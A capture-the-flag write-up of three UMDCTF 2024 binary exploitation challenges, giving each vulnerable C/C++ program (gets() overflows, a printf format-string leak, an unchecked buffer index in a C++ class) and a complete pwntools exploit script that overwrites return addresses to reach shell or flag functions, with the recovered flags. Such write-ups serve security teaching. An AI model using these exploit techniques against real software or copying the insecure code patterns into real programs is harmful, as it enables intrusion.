UMDCTF 2024
This weekend I had the pleasure of playing the Dune themed CTF hosted by the cybersecurity club at UMD. I managed to solve three of the binary exploitation challenges, and learned a lot along the way. Here are some of my solutions.
The Voice (pwn)
If you want the flag, command me to give it to you.
Luckily in this challenge, we were provided the source so we didn’t have to do any reversing.
#include <stdio.h>
#include <stdlib.h>
__thread long long g[10];
void give_flag() {
char buf[100];
FILE* f = fopen("flag.txt", "r");
fgets(buf, sizeof(buf), f);
printf("%s\n", buf);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("If you want the flag, command me to give it to you.");
char command[16];
gets(command);
g[atoi(command)] = 10191;
}
The provided C program contains a global array and a function to read and print
the contents of a file. In its main function, the program prompts the user to
request the flag, reads user input using the insecure gets()
function, and
attempts to access an element of the array based on the user input without
proper bounds checking, potentially leading to buffer overflow and out-of-bounds
memory access vulnerabilities.
Solve
#!/usr/bin/env python3
from pwn import *
exe = ELF("./the_voice_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("challs.umdctf.io", 31192)
return r
def main():
r = conn()
payload = b'15\x00'
payload += b'A'*21
payload += p64(10191)
payload += b'B'*8
payload += p64(exe.symbols['give_flag'])
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
UMDCTF{pwn_g3ss3r1t_sk1ll5_d0nt_tak3_a5_many_y3ar5_t0_l3arn_pau1}
Mentat Question (pwn)
Thufir Hawat is ready to answer any and all questions you have. Unless it’s not about division…
We are thankfully provided the source for this one as well.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
void secret() {
system("/bin/sh");
}
uint32_t calculate(uint32_t num1, uint32_t num2) {
printf("%i\n", num1);
printf("%i\n", num2);
char buf[16];
if (num2 < 1) {
puts("Oh, I was not aware we were using negative numbers!");
puts("Would you like to try again?");
gets(buf);
if (strncmp(buf, "Yes", 3) == 0) {
fputs("Was that a ", stdout);
printf(buf);
fputs(" I heard?\n", stdout);
return 0;
} else {
puts("I understand. Apologies, young master.");
exit(0);
}
}
return num1 / num2;
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
uint32_t num1;
uint32_t num2;
uint32_t res = 0;
char buf[11];
puts("Hello young master. What would you like today?");
fgets(buf, sizeof(buf), stdin);
if (strncmp(buf, "Division", 8) == 0) {
puts("Of course");
while (res == 0) {
puts("Which numbers would you like divided?");
fgets(buf, sizeof(buf), stdin);
num1 = atoi(buf);
fgets(buf, sizeof(buf), stdin);
getc(stdin);
if (strncmp(buf, "0", 1) == 0) {
puts("I'm afraid I cannot divide by zero, young master.");
return 1;
} else {
num2 = atoi(buf);
}
res = calculate(num1, num2);
}
}
return 0;
}
This binary is seemingly straightforward. It provides an interface to divide two
numbers. However, looking closely you can see that it uses gets()
if num2 < 1.
It also has a secret() function which spawns a shell when called however nowhere
in main is it called.
Solve
#!/usr/bin/env python3
from pwn import *
exe = ELF("./mentat-question_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("challs.umdctf.io", 32300)
return r
def main():
r = conn()
pointer_offset = 0x206d
buff = 20
r.sendlineafter(b"?", b"Division")
r.sendlineafter(b"?", b"123")
log.info("Sending 2**32")
r.sendline(str(2**32).encode('ascii'))
# print(str(2**32).encode('ascii'))
log.info("Leaking pointer")
r.sendlineafter(b"?", b"Yes %p")
r.recvline() # discard
leak = int(r.recvline()[15:29], 16)
log.info(f"leak: {hex(leak)}")
log.info(f"pointer_offset: {hex(pointer_offset)}")
exe.address = leak - pointer_offset
log.info(f"address: {hex(exe.address)}")
r.recvuntil(b"?")
r.sendline(b"123")
r.sendline(str(2**32).encode('ascii'))
payload = b"Yes "
payload += b"A"* buff
payload += p64(exe.symbols["secret"] + 4)
r.sendlineafter(b"?", payload)
r.interactive()
if __name__ == "__main__":
main()
UMDCTF{3_6u1ld_n4v16470r5_4_7074l_0f_1.46_m1ll10n_62_50l4r15_r0und_7r1p}
Ready Aim Flier
Firing your weapon when the spice harvester’s shields are down requires exceptional timing.
This was a very interesting C++ challenge, and a lot of fun to solve.
#include <exception>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
void print_flag() {
ifstream f{"./flag.txt"};
if (!f.is_open()) {
cout << "Failed to open flag file. Contact CTF organizers if you see this error." << endl;
} else {
string flag;
f >> flag;
cout << flag << endl;
}
}
void direct_hit() {
try {
throw exception{};
} catch (exception e) {
cout << "Direct hit!" << endl;
print_flag();
}
}
class Cannon {
public:
int bufIndex;
char buf[32];
Cannon(): bufIndex(0) {}
void fire() {
char c ;
for (;;) {
cin.get(c);
if (c == '\n') {
break;
} else {
buf[bufIndex++] = c;
}
}
if (bufIndex >= 32) {
throw out_of_range{""};
}
}
};
void fire_weapon() {
Cannon w;
w.fire();
}
int main() {
int target_assist;
cout << "Quick! While the spice harvester's shields are down! Fire the laser cannon!" << endl;
cout << &target_assist << endl;
try {
fire_weapon();
cout << "Looks like you missed your opportunity to fire." << endl;
}
catch (exception e) {
cout << "Seems like you missed." << endl;
}
}
This program is a simple console app that simulates firing a cannon at a target.
There are a few functions:
-
print_flag(): This function attempts to open a file named “flag.txt” and print its contents.
-
direct_hit(): This function throws and immediately catches an exception. When the exception is caught, it prints “Direct hit!” and calls print_flag().
-
Cannon: This class represents a cannon that can be fired. It has a buffer (buf) of 32 characters and a buffer index (bufIndex). The fire() method reads characters from the standard input until it encounters a newline character (‘\n’). Each character is added to the buffer and the buffer index is incremented. If the buffer index is 32 or more, it throws an out_of_range exception.
-
fire_weapon(): This function creates a Cannon object and calls its fire() method.
Solve
#!/usr/bin/env python3
from pwn import *
exe = ELF("ready_aim_fire_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("challs.umdctf.io", 31008)
return r
def main():
r = conn()
r.recvuntil(b"cannon!\n")
leak = int(r.recvline(), 16)
log.info(f"Leaked address: {hex(leak)}")
payload = b'A'*44
payload += p64(leak + 20)
payload += p64(0x402547)
log.info(f"Sending payload: {payload}")
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
UMDCTF{h0p3fu11y_th3_c++_pwn_w4snt_t00_h0rr1bl3}